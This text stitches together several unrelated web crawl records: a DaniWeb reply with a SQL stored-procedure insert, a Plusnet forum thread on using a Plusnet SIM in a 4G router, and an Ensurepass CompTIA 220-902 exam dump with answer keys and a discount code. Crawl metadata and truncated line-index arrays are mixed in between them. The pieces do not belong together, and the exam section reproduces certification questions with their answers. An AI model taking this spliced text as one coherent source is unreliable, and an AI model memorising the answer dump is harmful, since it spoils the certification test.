Just in case someone else has my same weird setup - here is the code:
insert into `product_attribute` (`product_id`, `attribute_id`, `language_id`, `text`)
SELECT a.`product_id`
,b.`attr_id`
,b.`lang_id`
,b.`attr_value`
FROM `product` a
,`batch_attr_detail` b
,`batch_attr_set` c
WHERE c.`batch_attr_id` = @p2
and c.`batch_attr_id` = b.`batch_attr_id`
and a.`product_id` between @p0 and @p1
thanks again for the help!
Kat
0
Oops - there are three invariables. The proc would not work until I changed them to @p0, @p1 and @p2.
Kat
This question has already been answered. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules. | {
"url": "https://www.daniweb.com/programming/databases/threads/495405/stored-procedure-problem",
"source_domain": "www.daniweb.com",
"snapshot_id": "crawl=CC-MAIN-2018-13",
"warc_metadata": {
"Content-Length": "68141",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2PJGWEO4X6NRAQ2BPUG3LGMME42RIRXB",
"WARC-Concurrent-To": "<urn:uuid:02d79281-3ad4-41ca-9984-06df1266e90b>",
"WARC-Date": "2018-03-22T21:17:33Z",
"WARC-IP-Address": "198.23.117.137",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:UPA7U6UTRBM4JXPLRNHCJXNZJF2BZSKU",
"WARC-Record-ID": "<urn:uuid:96874ae2-b520-453f-b2c7-30665af12486>",
"WARC-Target-URI": "https://www.daniweb.com/programming/databases/threads/495405/stored-procedure-problem",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:01db4b19-5aec-413a-87ea-5e70698fd4db>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-239-104-149.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-13\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for March 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
2,
3,
255,
256,
340,
341,
373,
374,
460,
462,
485,
506,
527,
551,
552,
574,
605,
633,
634,
677,
721,
792,
793,
800,
830,
831,
832,
857,
909,
910,
911,
912,
950,
951,
952,
953,
1135,
1136,
1222,
1223,
1233,
1235,
1248,
1251,
1259,
1262,
1268,
1276,
1292,
1315,
1317,
1318,
1407,
1408,
1502,
1503,
1639,
1640,
1676,
1677,
1679,
1680,
2016,
2017,
2133,
2144,
2145,
2158,
2159,
2161,
2162,
2235,
2236,
2322,
2345,
2366,
2387,
2411,
2412,
2434,
2465,
2493,
2494,
2537,
2581,
2652,
2653,
2839,
2840,
3182,
3183,
3203,
3204,
3206,
3207,
3397,
3398,
3540,
3541,
3551,
3552,
3554,
3555,
3628,
3629,
3631,
3632,
4112,
4113,
4262,
4263,
4283,
4284,
4286,
4287,
4672,
4673,
4740,
4741,
4772,
4773,
4775,
4776,
5441,
5442,
5444,
5457,
5458,
5478,
5479,
5523,
5524,
5584,
5585,
5591,
5680,
5692,
5717,
5742,
5767,
5795,
5796,
5810,
5831,
5866,
5898,
5899,
5946,
5992,
6065,
6071,
6072,
6084,
6086,
6087,
6408,
6409,
6479,
6480,
6566,
6567,
6590,
6611,
6632,
6656,
6657,
6679,
6710,
6738,
6739,
6769,
6813,
6854,
6855,
6882,
6883,
6887,
6888,
6890,
6891,
6993,
6994,
6998,
6999,
7072
],
"line_end_idx": [
2,
3,
255,
256,
340,
341,
373,
374,
460,
462,
485,
506,
527,
551,
552,
574,
605,
633,
634,
677,
721,
792,
793,
800,
830,
831,
832,
857,
909,
910,
911,
912,
950,
951,
952,
953,
1135,
1136,
1222,
1223,
1233,
1235,
1248,
1251,
1259,
1262,
1268,
1276,
1292,
1315,
1317,
1318,
1407,
1408,
1502,
1503,
1639,
1640,
1676,
1677,
1679,
1680,
2016,
2017,
2133,
2144,
2145,
2158,
2159,
2161,
2162,
2235,
2236,
2322,
2345,
2366,
2387,
2411,
2412,
2434,
2465,
2493,
2494,
2537,
2581,
2652,
2653,
2839,
2840,
3182,
3183,
3203,
3204,
3206,
3207,
3397,
3398,
3540,
3541,
3551,
3552,
3554,
3555,
3628,
3629,
3631,
3632,
4112,
4113,
4262,
4263,
4283,
4284,
4286,
4287,
4672,
4673,
4740,
4741,
4772,
4773,
4775,
4776,
5441,
5442,
5444,
5457,
5458,
5478,
5479,
5523,
5524,
5584,
5585,
5591,
5680,
5692,
5717,
5742,
5767,
5795,
5796,
5810,
5831,
5866,
5898,
5899,
5946,
5992,
6065,
6071,
6072,
6084,
6086,
6087,
6408,
6409,
6479,
6480,
6566,
6567,
6590,
6611,
6632,
6656,
6657,
6679,
6710,
6738,
6739,
6769,
6813,
6854,
6855,
6882,
6883,
6887,
6888,
6890,
6891,
6993,
6994,
6998,
6999,
7072,
7210
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7210,
"ccnet_original_nlines": 185,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4055706560611725,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05095108970999718,
"rps_doc_frac_lines_end_with_ellipsis": 0.010752690024673939,
"rps_doc_frac_no_alph_words": 0.24048912525177002,
"rps_doc_frac_unique_words": 0.3748854398727417,
"rps_doc_mean_word_length": 4.748854160308838,
"rps_doc_num_sentences": 94,
"rps_doc_symbol_to_word_ratio": 0.002038039965555072,
"rps_doc_unigram_entropy": 5.419632434844971,
"rps_doc_word_count": 1091,
"rps_doc_frac_chars_dupe_10grams": 0.17351862788200378,
"rps_doc_frac_chars_dupe_5grams": 0.19146883487701416,
"rps_doc_frac_chars_dupe_6grams": 0.19146883487701416,
"rps_doc_frac_chars_dupe_7grams": 0.17351862788200378,
"rps_doc_frac_chars_dupe_8grams": 0.17351862788200378,
"rps_doc_frac_chars_dupe_9grams": 0.17351862788200378,
"rps_doc_frac_chars_top_2gram": 0.006369430106133223,
"rps_doc_frac_chars_top_3gram": 0.020073339343070984,
"rps_doc_frac_chars_top_4gram": 0.02702181041240692,
"rps_doc_books_importance": -640.7791137695312,
"rps_doc_books_importance_length_correction": -640.7791137695312,
"rps_doc_openwebtext_importance": -401.96002197265625,
"rps_doc_openwebtext_importance_length_correction": -401.96002197265625,
"rps_doc_wikipedia_importance": -294.0274353027344,
"rps_doc_wikipedia_importance_length_correction": -294.0274353027344
},
"fasttext": {
"dclm": 0.10881782323122025,
"english": 0.9064891338348389,
"fineweb_edu_approx": 1.700223445892334,
"eai_general_math": 0.8570021986961365,
"eai_open_web_math": 0.3990740180015564,
"eai_web_code": 0.7333714962005615
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
3,988,917,237,032,589,000 | cancel
Showing results for
Search instead for
Did you mean:
Plusnet SIM in Router
aesmith
Aspiring Pro
Posts: 570
Thanks: 59
Fixes: 4
Registered: 26-09-2015
Plusnet SIM in Router
Hi,
Is there any reason why a Plusnet SIM wouldn't work in a DSL router or Dongle? Or any prohibition from Plusnet for that matter.
Thanks, Tony S
13 REPLIES 13
RandallFlagg
Plusnet Alumni (retired)
Plusnet Alumni (retired)
Posts: 1,915
Fixes: 75
Registered: 11-01-2018
Re: Plusnet SIM in Router
Hi Tony,
Thanks for getting in touch.
I'm afraid our SIM's don't support the functionality required to operate within a dongle or ADSL router environment - they're designed to be used purely in mobile handsets at present.
Best wishes
Dave
DS
Champion
Posts: 2,187
Thanks: 457
Fixes: 22
Registered: 06-01-2017
Re: Plusnet SIM in Router
Can't really give too much away here.... But not supporting and actually working are two different things.
A friend whom purchased a PN PAYG sim currently has one installed in a home alarm system Roll_eyes
(he was telling the providers why he wanted one (for his alarm) and all said nope, we don't do that. I told him not to mention why he wanted it and he gave it try) Wink
It sends via data an arm/disarm message plus both data and text messages whenever it goes off. It's been running for at least 2 months without issue so far. As far as the sim goes, it thinks it's in a phone (uses the PN phone number to send alerts). Being as you want it for a router or dongle, I'm not sure if it'll work for you.
Now I'm not saying you'll have the same luck, but if you have a PN sim card already then you could try it...?
(but don't buy one based on what I've said, as you may not be so lucky)
aesmith
Aspiring Pro
Posts: 570
Thanks: 59
Fixes: 4
Registered: 26-09-2015
Re: Plusnet SIM in Router
Thanks. I do have a Plusnet SIM at the moment, only with a small data allowance but it would be enough to test. I can but try.
DS
Champion
Posts: 2,187
Thanks: 457
Fixes: 22
Registered: 06-01-2017
Re: Plusnet SIM in Router
Sounds like a good plan imho Wink
If it doesn't work, it's only cost you a bit of wasted time.
aesmith
Aspiring Pro
Posts: 570
Thanks: 59
Fixes: 4
Registered: 26-09-2015
Re: Plusnet SIM in Router
Unfortunately Plusnet appear to be correct in this instance. My SIM does not work in the Huawei E3372 dongle that I was testing with. I'm going to try it in a native 4G router just to see, but I expect that won't work either. Shame because Plusnet would make quite a good option for 4G backup with a low monthly charge, then just pay for usage when the backup is actually needed.
DS
Champion
Posts: 2,187
Thanks: 457
Fixes: 22
Registered: 06-01-2017
Re: Plusnet SIM in Router
Doh! so tick that one off as a no then Sad
I still think it was worth wasting time though Wink
Hopefully plan b/c/d/e/f might give a better result....? Lips_are_sealed
MisterW
Superuser
Superuser
Posts: 11,663
Thanks: 3,729
Fixes: 283
Registered: 30-07-2007
Re: Plusnet SIM in Router
@aesmith did you try manually creating the APN ? Maybe the SIM defaults didn't get assigned correctly
Superusers are not staff, but they do have a direct line of communication into the business in order to raise issues, concerns and feedback from the community.
aesmith
Aspiring Pro
Posts: 570
Thanks: 59
Fixes: 4
Registered: 26-09-2015
Re: Plusnet SIM in Router
Cheers. APN settings appeared to populate automatically, but I also tried manually. FYI the dongle is normally used with an EE data SIM (same APN settings as Plusnet) but it also works with Three just be swapping the SIM. Will try with a router just for the hell of it but I expect that not to work either.
aesmith
Aspiring Pro
Posts: 570
Thanks: 59
Fixes: 4
Registered: 26-09-2015
Re: Plusnet SIM in Router
It works in a Huawei B525 router, and delivers decent speed as well. I know that will depend on location but it indicates that Plusnet's implementation of EEs network is not overly crippled. Interestingly it used Band 3 (1800MHz) where the same router in the same location used Band 20 (800MHz) on both O2 and Three. I'm not sure if that is or isn't significant given that O2 on Band 20 was 50% faster than Plusnet/EE, but Three also on Band 20 was half the speed.
DS
Champion
Posts: 2,187
Thanks: 457
Fixes: 22
Registered: 06-01-2017
Re: Plusnet SIM in Router
Glad to hear you found something it works in.
(though maybe PN do have future plans, they did say 'at present').
A possible Plusnet Hub 2/Smart Hub with Plusnet Mobile data back up...?
aesmith
Aspiring Pro
Posts: 570
Thanks: 59
Fixes: 4
Registered: 26-09-2015
Re: Plusnet SIM in Router
Mobile data as backup would be a great service for many people. Nowadays even entry level routers support this using a USB dongle. One obstacle is a shortage of sensible tariffs suitable for backup, ideally you either want non-expiring PAYG or a low monthly fee for a small data allowance but with reasonable rates for out of plan usage.
Ironically we're considering 4G as our main Internet, possibly with DSL as backup.
DS
Champion
Posts: 2,187
Thanks: 457
Fixes: 22
Registered: 06-01-2017
Re: Plusnet SIM in Router
I believe such a thing exists with some variants of the BTH6 - it has a data (back up) facility, though I've only seen them listed with this on an auction site....?
Not one to blow my own trumpet, but I may or may not have told BT management of an idea of mine back in 2008/9 - a method to get their customers back online using a Sim Data 'box', roll on 10 years and they did just that. Still not heard about any royalties I'm due!! (Same for wifi in every room, still waiting for that too).
Let's say PN come up with a router with a mobile data system hard wired into the router, which reverts to data in the event of loss of BB. It should, imho, come as part of the package and thus at no extra cost to us. Let's see if this ever happens and whether I get any thanks for that idea too..?
We too have been exploring Data as our primary method, which is something I may need to consider in the future Wink
aesmith
Aspiring Pro
Posts: 570
Thanks: 59
Fixes: 4
Registered: 26-09-2015
Re: Plusnet SIM in Router
Technically there's no problem, for example both my Billion and Zyxel routers support 4G backup via a USB dongle so it wouldn't surprise me if the BT Homehub could as well. It's the tariff where providers need to get clever for it to make sense. I believe that BT have a scheme where if you have a broadband fault they lift the data cap on any mobiles on the same account. I guess that Plusnet could do the same if they choose. Even better would be a tariff where out of bundle usage charges weren't punitive so that customers could switch the 4G say if their broadband was a bit flakey but not actually broken, | {
"url": "https://community.plus.net/t5/Mobile/Plusnet-SIM-in-Router/td-p/1621078",
"source_domain": "community.plus.net",
"snapshot_id": "CC-MAIN-2023-06",
"warc_metadata": {
"Content-Length": "410117",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6XMVCK4NUN56Y7JAKOSCFN7T7YAXZUYL",
"WARC-Concurrent-To": "<urn:uuid:e6a2702a-900f-4236-9eba-705271737062>",
"WARC-Date": "2023-01-27T21:41:45Z",
"WARC-IP-Address": "18.67.65.92",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:F7MHU6VHCBA36AA53KDCIUPRTSY3FWJA",
"WARC-Record-ID": "<urn:uuid:99971293-2234-4500-a5fc-71c5a2a3b43f>",
"WARC-Target-URI": "https://community.plus.net/t5/Mobile/Plusnet-SIM-in-Router/td-p/1621078",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:db5457ea-56fb-4687-ab5d-b967de82bb53>"
},
"warc_info": "isPartOf: CC-MAIN-2023-06\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January/February 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-28\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
7,
28,
48,
63,
64,
86,
87,
95,
108,
119,
130,
139,
163,
164,
186,
187,
191,
192,
321,
322,
337,
338,
352,
365,
390,
415,
428,
438,
462,
463,
489,
490,
492,
493,
502,
503,
505,
506,
535,
536,
538,
539,
724,
725,
727,
728,
740,
741,
743,
744,
749,
750,
753,
762,
775,
787,
797,
821,
822,
848,
849,
956,
957,
1056,
1057,
1226,
1227,
1558,
1559,
1669,
1670,
1742,
1743,
1751,
1764,
1775,
1786,
1795,
1819,
1820,
1846,
1847,
1976,
1977,
1980,
1989,
2002,
2014,
2024,
2048,
2049,
2075,
2076,
2110,
2111,
2172,
2173,
2181,
2194,
2205,
2216,
2225,
2249,
2250,
2276,
2277,
2663,
2664,
2667,
2676,
2689,
2701,
2711,
2735,
2736,
2762,
2763,
2806,
2807,
2859,
2860,
2933,
2934,
2936,
2937,
2945,
2955,
2965,
2979,
2993,
3004,
3028,
3029,
3055,
3056,
3159,
3160,
3320,
3321,
3329,
3342,
3353,
3364,
3373,
3397,
3398,
3424,
3425,
3736,
3737,
3745,
3758,
3769,
3780,
3789,
3813,
3814,
3840,
3841,
4312,
4313,
4316,
4325,
4338,
4350,
4360,
4384,
4385,
4411,
4412,
4458,
4459,
4526,
4527,
4599,
4600,
4608,
4621,
4632,
4643,
4652,
4676,
4677,
4703,
4704,
5044,
5045,
5128,
5129,
5132,
5141,
5154,
5166,
5176,
5200,
5201,
5227,
5228,
5393,
5394,
5721,
5722,
6020,
6021,
6137,
6138,
6140,
6141,
6149,
6162,
6173,
6184,
6193,
6217,
6218,
6244,
6245
],
"line_end_idx": [
7,
28,
48,
63,
64,
86,
87,
95,
108,
119,
130,
139,
163,
164,
186,
187,
191,
192,
321,
322,
337,
338,
352,
365,
390,
415,
428,
438,
462,
463,
489,
490,
492,
493,
502,
503,
505,
506,
535,
536,
538,
539,
724,
725,
727,
728,
740,
741,
743,
744,
749,
750,
753,
762,
775,
787,
797,
821,
822,
848,
849,
956,
957,
1056,
1057,
1226,
1227,
1558,
1559,
1669,
1670,
1742,
1743,
1751,
1764,
1775,
1786,
1795,
1819,
1820,
1846,
1847,
1976,
1977,
1980,
1989,
2002,
2014,
2024,
2048,
2049,
2075,
2076,
2110,
2111,
2172,
2173,
2181,
2194,
2205,
2216,
2225,
2249,
2250,
2276,
2277,
2663,
2664,
2667,
2676,
2689,
2701,
2711,
2735,
2736,
2762,
2763,
2806,
2807,
2859,
2860,
2933,
2934,
2936,
2937,
2945,
2955,
2965,
2979,
2993,
3004,
3028,
3029,
3055,
3056,
3159,
3160,
3320,
3321,
3329,
3342,
3353,
3364,
3373,
3397,
3398,
3424,
3425,
3736,
3737,
3745,
3758,
3769,
3780,
3789,
3813,
3814,
3840,
3841,
4312,
4313,
4316,
4325,
4338,
4350,
4360,
4384,
4385,
4411,
4412,
4458,
4459,
4526,
4527,
4599,
4600,
4608,
4621,
4632,
4643,
4652,
4676,
4677,
4703,
4704,
5044,
5045,
5128,
5129,
5132,
5141,
5154,
5166,
5176,
5200,
5201,
5227,
5228,
5393,
5394,
5721,
5722,
6020,
6021,
6137,
6138,
6140,
6141,
6149,
6162,
6173,
6184,
6193,
6217,
6218,
6244,
6245,
6860
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6860,
"ccnet_original_nlines": 217,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3774791955947876,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05502238869667053,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2373640388250351,
"rps_doc_frac_unique_words": 0.3727422058582306,
"rps_doc_mean_word_length": 4.303776741027832,
"rps_doc_num_sentences": 51,
"rps_doc_symbol_to_word_ratio": 0.003198979888111353,
"rps_doc_unigram_entropy": 5.485989093780518,
"rps_doc_word_count": 1218,
"rps_doc_frac_chars_dupe_10grams": 0.172262504696846,
"rps_doc_frac_chars_dupe_5grams": 0.19725295901298523,
"rps_doc_frac_chars_dupe_6grams": 0.172262504696846,
"rps_doc_frac_chars_dupe_7grams": 0.172262504696846,
"rps_doc_frac_chars_dupe_8grams": 0.172262504696846,
"rps_doc_frac_chars_dupe_9grams": 0.172262504696846,
"rps_doc_frac_chars_top_2gram": 0.03243036940693855,
"rps_doc_frac_chars_top_3gram": 0.03433803841471672,
"rps_doc_frac_chars_top_4gram": 0.05150705948472023,
"rps_doc_books_importance": -558.1393432617188,
"rps_doc_books_importance_length_correction": -558.1393432617188,
"rps_doc_openwebtext_importance": -318.95062255859375,
"rps_doc_openwebtext_importance_length_correction": -318.95062255859375,
"rps_doc_wikipedia_importance": -188.72108459472656,
"rps_doc_wikipedia_importance_length_correction": -188.72108459472656
},
"fasttext": {
"dclm": 0.024902110919356346,
"english": 0.9401518702507019,
"fineweb_edu_approx": 1.1364269256591797,
"eai_general_math": 0.24793529510498047,
"eai_open_web_math": 0.30956780910491943,
"eai_web_code": 0.0038525499403476715
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.68",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-8,442,870,823,201,336,000 | Ensurepass
2017 July CompTIA Official New Released 220-902 Q&As
100% Free Download! 100% Pass Guaranteed!
http://www.ensurepass.com/220-902.html
CompTIA A+ 220-902 Certification Exam
QUESTION 171
Ann, an end user, receives a call from someone claiming to be from the help desk and asking for her username and password to prevent her email box from being deleted immediately. Which of the following BEST describes this type of attack?
A.
Shoulder surfing
B.
Man-in-the-middle
C.
Social engineering
D.
Ransomware
Correct Answer: C
QUESTION 172
Which of the following file formats does Android use for application installation?
A.
.ipa
B.
.api
C.
.apk
D.
.exe
E.
.sdk
Correct Answer: C
QUESTION 173
A technician is tasked with installing Windows on numerous network PCs. Which of the following is the QUICKEST method for getting a standard configuration to the PCs?
A.
Prebuilt image using PXE
B.
Single solid state/flash drive with answer file
C.
Hot swappable image drive
D.
Internal hard drive partition with the image
Correct Answer: A
QUESTION 174
A technician has purchased a new surge protector to protect equipment in the production environment. The surge protector’s features safeguard the connected equipment by directing surges to the:
A.
path of shortest conductance.
B.
path of lowest inductance.
C.
path of highest voltage.
D.
path of least resistance.
Correct Answer: D
QUESTION 175
A user states that when typing in directions on a navigation website, the map is not viewable in a newer web browser. The technician runs updates to Java, but is still unable to view the map. The technician should change which of the following Internet Options?
A.
Compatibility view
B.
Manage add-ons
C.
Clear browser cache
D.
Pop-up blocker
Correct Answer: A
QUESTION 176
A turnstile is an example of which of the following forms of physical security?
A.
Entry control roster
B.
Biometrics
C.
Mantrap
D.
Cipher lock
Correct Answer: C
QUESTION 177
A user has plugged in a mobile phone to a PC and received a message that the driver was not successfully installed. Which of the following system tools should be used to troubleshoot this error?
A.
Device Manager
B.
Component Services
C.
Windows Memory Diagnostics
D.
Data Sources
Correct Answer: A
QUESTION 178
Which of the following is a risk of implementing a BYOD policy?
A.
Introducing malware onto the network
B.
DHCP may fail due to incompatibility
C.
Different encryption technology
D.
Higher risk of phishing attacks
Correct Answer: A
QUESTION 179
A technician has decided to upgrade all users’ iPhones to the latest model. Which of the following is the FIRST thing the technician should advise the users to do with the old phones before turning them in?
A.
Back up the mobile data with a cloud backup service.
B.
Enable remote wipe to clear all personal and corporate data.
C.
Go into the device settings to remove personal customizations.
D.
Factory reset the old phones to ensure the data is no longer on the device.
Correct Answer: A
QUESTION 180
Which of the following best practices is used to fix a zero-day vulnerability on Linux?
A.
Scheduled backup
B.
Scheduled disk maintenance
C.
Patch management
D.
Antivirus update
Correct Answer: C
100% Free Download!
—Download Free Demo:220-902 Demo PDF
100% Pass Guaranteed!
Download 2017 Ensurepass 220-902 Full Exam PDF and VCE Q&As:306
—Get 10% off your purchase! Copy it:TJDN-947R-9CCD [2017.07.01-2017.07.31]
Ensurepass ExamCollection Testking
Lowest Price Guarantee Yes No No
Up-to-Dated Yes No No
Real Questions Yes No No
Explanation Yes No No
PDF + VCE Yes No No
Free VCE Simulator Yes No No
Instant Download Yes No No
2017 Ensurepass IT Certification PDF and VCE | {
"url": "http://www.dumps4shared.com/free-2017july-ensurepass-passguide-comptia-220-902-latest-dumps-171-180.html",
"source_domain": "www.dumps4shared.com",
"snapshot_id": "crawl=CC-MAIN-2018-26",
"warc_metadata": {
"Content-Length": "845174",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YEC6CN5L4OR3TUUM2E5Q7HV6DMS4T7JF",
"WARC-Concurrent-To": "<urn:uuid:9d0beed7-f0ff-4c06-8164-7ba54c5c30b4>",
"WARC-Date": "2018-06-21T18:32:19Z",
"WARC-IP-Address": "198.252.98.246",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:MJTJKUP3U7REED3J2C7ZBFK3EJWQSZBT",
"WARC-Record-ID": "<urn:uuid:91703086-b8e0-46ab-b76b-c39a84303690>",
"WARC-Target-URI": "http://www.dumps4shared.com/free-2017july-ensurepass-passguide-comptia-220-902-latest-dumps-171-180.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4c865b88-7346-4ccc-80eb-c272c5ff550c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-158-203-138.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
11,
64,
106,
145,
146,
184,
185,
198,
199,
437,
438,
440,
441,
444,
445,
462,
463,
466,
467,
485,
486,
489,
490,
509,
510,
513,
514,
525,
526,
528,
529,
547,
548,
550,
551,
553,
554,
567,
568,
651,
652,
654,
655,
658,
659,
664,
665,
668,
669,
674,
675,
678,
679,
684,
685,
688,
689,
694,
695,
698,
699,
704,
705,
707,
708,
726,
727,
729,
730,
732,
733,
746,
747,
914,
915,
917,
918,
921,
922,
947,
948,
951,
952,
1000,
1001,
1004,
1005,
1031,
1032,
1035,
1036,
1081,
1082,
1084,
1085,
1103,
1104,
1106,
1107,
1109,
1110,
1123,
1124,
1318,
1319,
1321,
1322,
1325,
1326,
1356,
1357,
1360,
1361,
1388,
1389,
1392,
1393,
1418,
1419,
1422,
1423,
1449,
1450,
1452,
1453,
1471,
1472,
1474,
1475,
1477,
1478,
1480,
1481,
1483,
1484,
1486,
1487,
1489,
1490,
1503,
1504,
1766,
1767,
1769,
1770,
1773,
1774,
1793,
1794,
1797,
1798,
1813,
1814,
1817,
1818,
1838,
1839,
1842,
1843,
1858,
1859,
1861,
1862,
1880,
1881,
1883,
1884,
1886,
1887,
1900,
1901,
1981,
1982,
1984,
1985,
1988,
1989,
2010,
2011,
2014,
2015,
2026,
2027,
2030,
2031,
2039,
2040,
2043,
2044,
2056,
2057,
2059,
2060,
2078,
2079,
2081,
2082,
2084,
2085,
2098,
2099,
2294,
2295,
2297,
2298,
2301,
2302,
2317,
2318,
2321,
2322,
2341,
2342,
2345,
2346,
2373,
2374,
2377,
2378,
2391,
2392,
2394,
2395,
2413,
2414,
2416,
2417,
2419,
2420,
2433,
2434,
2498,
2499,
2501,
2502,
2505,
2506,
2543,
2544,
2547,
2548,
2585,
2586,
2589,
2590,
2622,
2623,
2626,
2627,
2659,
2660,
2662,
2663,
2681,
2682,
2684,
2685,
2687,
2688,
2701,
2702,
2909,
2910,
2912,
2913,
2916,
2917,
2970,
2971,
2974,
2975,
3036,
3037,
3040,
3041,
3104,
3105,
3108,
3109,
3185,
3186,
3188,
3189,
3207,
3208,
3210,
3211,
3213,
3214,
3227,
3228,
3316,
3317,
3319,
3320,
3323,
3324,
3341,
3342,
3345,
3346,
3373,
3374,
3377,
3378,
3395,
3396,
3399,
3400,
3417,
3418,
3420,
3421,
3439,
3440,
3460,
3497,
3519,
3583,
3658,
3659,
3694,
3727,
3749,
3774,
3796,
3816,
3845,
3872,
3873
],
"line_end_idx": [
11,
64,
106,
145,
146,
184,
185,
198,
199,
437,
438,
440,
441,
444,
445,
462,
463,
466,
467,
485,
486,
489,
490,
509,
510,
513,
514,
525,
526,
528,
529,
547,
548,
550,
551,
553,
554,
567,
568,
651,
652,
654,
655,
658,
659,
664,
665,
668,
669,
674,
675,
678,
679,
684,
685,
688,
689,
694,
695,
698,
699,
704,
705,
707,
708,
726,
727,
729,
730,
732,
733,
746,
747,
914,
915,
917,
918,
921,
922,
947,
948,
951,
952,
1000,
1001,
1004,
1005,
1031,
1032,
1035,
1036,
1081,
1082,
1084,
1085,
1103,
1104,
1106,
1107,
1109,
1110,
1123,
1124,
1318,
1319,
1321,
1322,
1325,
1326,
1356,
1357,
1360,
1361,
1388,
1389,
1392,
1393,
1418,
1419,
1422,
1423,
1449,
1450,
1452,
